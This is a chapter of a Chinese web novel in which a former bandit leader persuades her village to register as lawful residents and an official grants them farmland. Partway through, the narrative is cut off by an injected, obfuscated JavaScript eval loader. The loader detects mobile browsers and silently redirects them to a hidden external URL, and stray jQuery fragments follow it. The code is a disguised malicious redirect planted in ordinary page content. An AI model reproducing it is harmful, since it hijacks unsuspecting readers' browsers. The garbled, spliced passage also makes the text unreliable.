27. 第 27 章

作品:《和反派的造反日常

    陆令嘉回到寨子时,天已经黑得深沉,夜风吹得树枝簌簌作响。


    寨子里大部分的人想必都已经睡着了。


    她看着漆黑一片的茅屋,只有零星几间还亮着微弱的烛光。


    自从他们能自己熬制椰子油后,寨子里的油是不缺了,就连之前点灯这般奢侈的事情,现在也变得稀松平常。


    陆令嘉辨别了一番,是四叔还有石头的房间还亮着。


    她思虑片刻,敲响了四叔的房门。


    四叔披着一身薄薄的外衫,从门框里露出头来。


    烛光下,她画的图纸正摆在桌子正中间,旁边摆着笔墨,还有几张纸张,上面都是四叔方才的涂画。


    刚刚听到敲门声,他还以为是谁呢,见到来人后他有些惊讶,不禁问道:“陶陶,这么晚了有什么事吗?”


    “四叔,确实有些事,方便进屋说吗?”


    四叔连忙侧身让开一条缝隙,陆令嘉顺着走了进去。


    房间里一应物件都十分齐全,柜子、桌子、板凳,一看都是出自同一人的手艺。


    四叔没有娶亲,屋子里也就只有他一个人,即使里面堆满了各类工具木材,看着也是冷冷清清。


    陆令嘉将今日与赵昶所说的话重复了一遍,征求他的意见。


    “四叔,别的我倒是不担心,只是重新落了户后,怕你们日后会免不了兵役和劳役。”


    四叔无所谓的摆摆手,反过来宽慰她:“该到了那个时候,怎么样都跑不了。你以为我们一辈子躲在这山上就安全了吗?若是官府寻个理由上山来剿匪,怕是大家伙都得被他们抓去。”


    他将身上披着的衣裳穿好,又加了点油进去。


    火苗倏地拔高,阴暗的屋子瞬间亮堂了起来。


    四叔的脸庞在灯火的映照下逐渐清晰,他左不过也只有二十几岁,大概跟陆令嘉在现代的年纪相仿,却看透顿悟了人生一般,语重心长地说道:


    “陶陶你的想法是对的,与其一辈子在这山里躲躲藏藏,有朝一日若能有一个正大光明的身份能走在阳光底下,不管其他人怎么样,我是愿意的。”


    “你放心大胆地去做,四叔在你身后支持你!”


    一向寡言的四叔突然絮絮叨叨地跟她推心置腹说了这么长的一段话,陆令嘉还有些不适应。


    不过她现下已经知道四叔的意向,只是不知道其他几位叔叔还有寨子里其他人的想法如何。


    若真是不愿的,就把买田的银子一分,当做散伙费?


    是不是太简单粗暴了一些......


    她在四叔这又聊了一会儿,直到烛光又渐渐黯淡微弱,她才起身离开。


    陆令嘉看着另一间石头的屋子还亮着灯光,不知道这么大晚上他在做些什么。


    已然快到子时,她不欲再多打扰他人,转身回了自己的屋子。


    -


    翌日一早,伴随着公鸡的打鸣声,大家伙早早地就起床了。


    用过早饭,陆令嘉便扔下一颗地雷,激起千波浪。


    “寨子里有没有人愿意重新落户在崖州的?举手示意一下。”


    众人面面相觑,你看看我,我看看你,一时都没人响应。


    四叔按昨天晚上说的,擦擦嘴唇,第一个举手支持,“我落户,以后要是娶了媳妇儿生了大郎,总不能也让他们跟着我一辈子窝在这山上。”


    陆六叔第二个举手支持,他手里还捏着没吃完的半个馒头,那叫一个悔恨。


    一下子没留神,竟被陆老四抢先了!


    石头几人也跟着赞成,表示想要在这里彻底安定下来,好好过日子。


    陆五叔面露疑云,右手握拳抵住嘴唇轻咳两声:“咳咳...陶陶,倘若吾等将户籍安落于崖州城,他日是否也能有机会踏上科举之路?”


    陆令嘉没想到五叔会问出这么奇特的问题。


    不过结合他平日里一副之乎者也的模样,倒也不奇怪。


    她茫然地点头:“是啊,既然有了户籍,再找同乡作保,就能参加科考了。”


    陆五叔理理衣襟,伸手捋了捋并不存在的胡子,语气温和:“既如此,小生愿意,待来年科举也去试上一试。”


    陆令嘉直接略过他的一系列浮夸的动作,抬头继续问着众人:“其他人呢,都愿意吗?”


    陆二叔和陆三叔对视一眼,眉头紧蹙,整张脸皱在一起,一时都没有说话。


    陆老二本不想再当这个出头鸟,可现下还是得问个清楚。


    “陶陶,这落了户籍,日后是不是就要去服兵役和劳役?”


    陆令嘉没有隐瞒:“没错,特别是家里丁多的,父死子继,都免不了有一个要去服役。”


    “当然,赋税也免不了。”


    这个年代,只要沾上服役二字,众人都是胆战心惊。


    太多因为服役而家破人亡的事情发生,这也是无可避免的。


    寨子里有几名男子顿时愁眉苦脸,心情低落。


    要说他们不想落户,那肯定是假的。


    有了户籍,不管做什么都是光明正大,最起码不用再东躲西藏。而自己的子孙后代也像陆老五说的,可以考科举,不用跟他们一样,一辈子当山匪,或者只能做个庄稼把事。


    但是,兵役......


    这是怎么绕也绕不过去的一道坎。


    几人犹犹豫豫,一时都拿不定主意。娶了媳妇的,望着媳妇叹气,没有娶媳妇的,像吴老三等人,有两个跳了出来:


    “大当家,别人在不在这里落户我管不着,反正我吴老三一个人独来独往惯了,我就不来掺和这档子事了!”


    他眼里闪着精光。


    谁知道这是不是大当家挖的坑,他可不往下踩!


    “好!”陆令嘉应了一声,尊重他的选择,又问了一遍:“还有谁不想的吗?”


    周围都是窸窸窣窣的议论声,一时没人回答。


    “若是都愿意,我便做主替大家都应下了,明日一同去府衙办理即可。”


    吴老三旁边一男子也跟着弱弱地发出声音:“大当家...我...我也选择就待在寨子里,哪也不去。”


    陆令嘉扫了一眼,这个人叫张四平,平时都是跟吴老三混在一起,性子比较怯弱,因着两人都没有娶亲,暂时住在一起。


    “行。”她爽快地应下。


    “二叔、三叔,你们呢?”


    陆二叔纠结来纠结去,一双手是放在膝盖上不停地摩挲着,十个手指交缠握拳,最后深吸一口气,才将拳头堪堪松开。


    “落吧。”


    交点赋税总比一辈子黑户强。


    而且他还准备和钱氏再要一个娃的。


    陆三叔温柔地笑着:“都听陶陶的。”


    此间事了,陆令嘉带着全寨子人的希望直奔崖州城府衙。


    往日里,她每每来县城,一看到主街的府衙腿就不自觉发软。生怕一不小心就被验明身份,全寨团灭。


    马上她就要有正儿八经的身份了,再也不用担心这个事情了,晚上也不用再怕做噩梦了!


    陆令嘉掏出了昨日赵昶给的令牌,向门口的衙役表明身份。


    凶狠的衙役立马换了一副面庞,客气地将人往后院带去。


    温文尔雅的赵大人此刻正穿着一身棉布短打上衣,脚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14053717|149098||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    踩在板凳上正吱嘎吱嘎地锯着一块木头。


    见到来人,这才将手中的工具放置一旁,拿起一旁的帕子擦拭汗水,再将人引到里屋。


    “没想到姑娘来得这般早,这幅模样倒是让你见笑了。”


    陆令嘉顺势坐下,呷了一口茶水,捏紧茶杯笑道:“大人不拘小节,亲力亲为,倒是让我钦佩。”


    赵昶闻言将手轻拍几下,上面红彤彤一片茧子,实在无法让人忽视。


    他爽朗地哈哈大笑:“姑娘的图纸着实新奇,每每让我欲罢不能,只想彻夜研究个痛快!”


    “赵大人若感兴趣,我这还有许多未完成的图纸,日后可以与大人探究一二。”


    “当真?”赵昶眼睛一亮,眸子里是掩不住的喜色。


    “自是不敢妄言。”陆令嘉转动着手中的茶杯,眼睛直勾勾地看向对方,“只是不知大人先前答应我的事......”


    “自然,自然。”


    赵昶起身,走到桌案前拿出一本厚厚的户籍簿,手指翻动,最后停留在一页。


    “我昨日翻遍府城造册,崖州城人口分散,现有八千余户,约二十五万人,你说你们村里一共三四十人,落户完全没有问题。”


    陆令嘉将茶盏放下,起身一拜:“劳烦大人。”


    “这便是‘黄籍’,日后若载迁徙需先申请办理“更籍”手续。登记完成后你们的户籍便由府衙掌管,五里为乡,四家为邻,凭户口簿籍,编列什伍,征调赋役。”*


    征收赋税也是免不了的,陆令嘉心里也做好了准备,她点头表示了然。


    赵昶将册子合上,见她没有异议,又多说了两句。


    “既然姑娘决定在崖州落户,缴纳赋税,本官也不能让你白白吃亏。”


    他又打开一本“鱼鳞册”,手指在上面凌虚画了一个圈。


    “昨日你不是问我,说想在城里买田吗?就在这里一侧的山脚边,那有一片荒地,只住着零星几户人家。我便做主把那块地划分给你们,按照惯例,约莫每人也能分到二十亩地左右,但是开荒等一应事由得你们自己来了。”


    陆令嘉大喜过望!


    按理来说,只有成年男丁入籍造册之后才可以分到田地。听赵大人这意思,是不管男女,人人有份。


    陆令嘉本以为同时替他们这么大批人办好户籍已是不易,没想到后面还有更大的惊喜等着。


    现在还是按丁征税的年代,若是寨子里的几个女性没有田地,恐怕真的会饿死,更别提交上赋税了。


    不管如何,陆令嘉还是表达了一番谢意。


    要说还是得官府有人,不然这种好事能轮得上她们?!


    她弯着杏眸,拱手道谢:“有劳赵大人替我们忙前忙后了!”


    “小事,小事!”赵昶不以为意,只让她明日带着人过来领户册即可。


    虽然他头上现在还有一个县令顶着,但这落户和分地这种小事他还是能做主的。


    府衙清静,街外熙攘的喧哗全被厚重的围墙隔离开来,只有院中风吹琵琶,声声作响。


    两人坐在屋里干巴巴地喝茶,谁都没有再开口。


    陆令嘉本想告辞,赵昶却先率然起身。


    他趁着天色尚早,也不想浪费时间,直接将人带到方才的院中,虚怀若谷地求教:“这就是姑娘所画的‘曲辕犁’,还望您不吝赐教,此物具体该如何使用。”


    陆令嘉看着差不多成型的曲辕犁,不禁佩服。


    没想到赵大人还是做木工的一把好手,只一个晚上便能将这东西还原了十之八九。


    她弯腰将绳索套在自己身上,直接朝着赵昶演示一遍。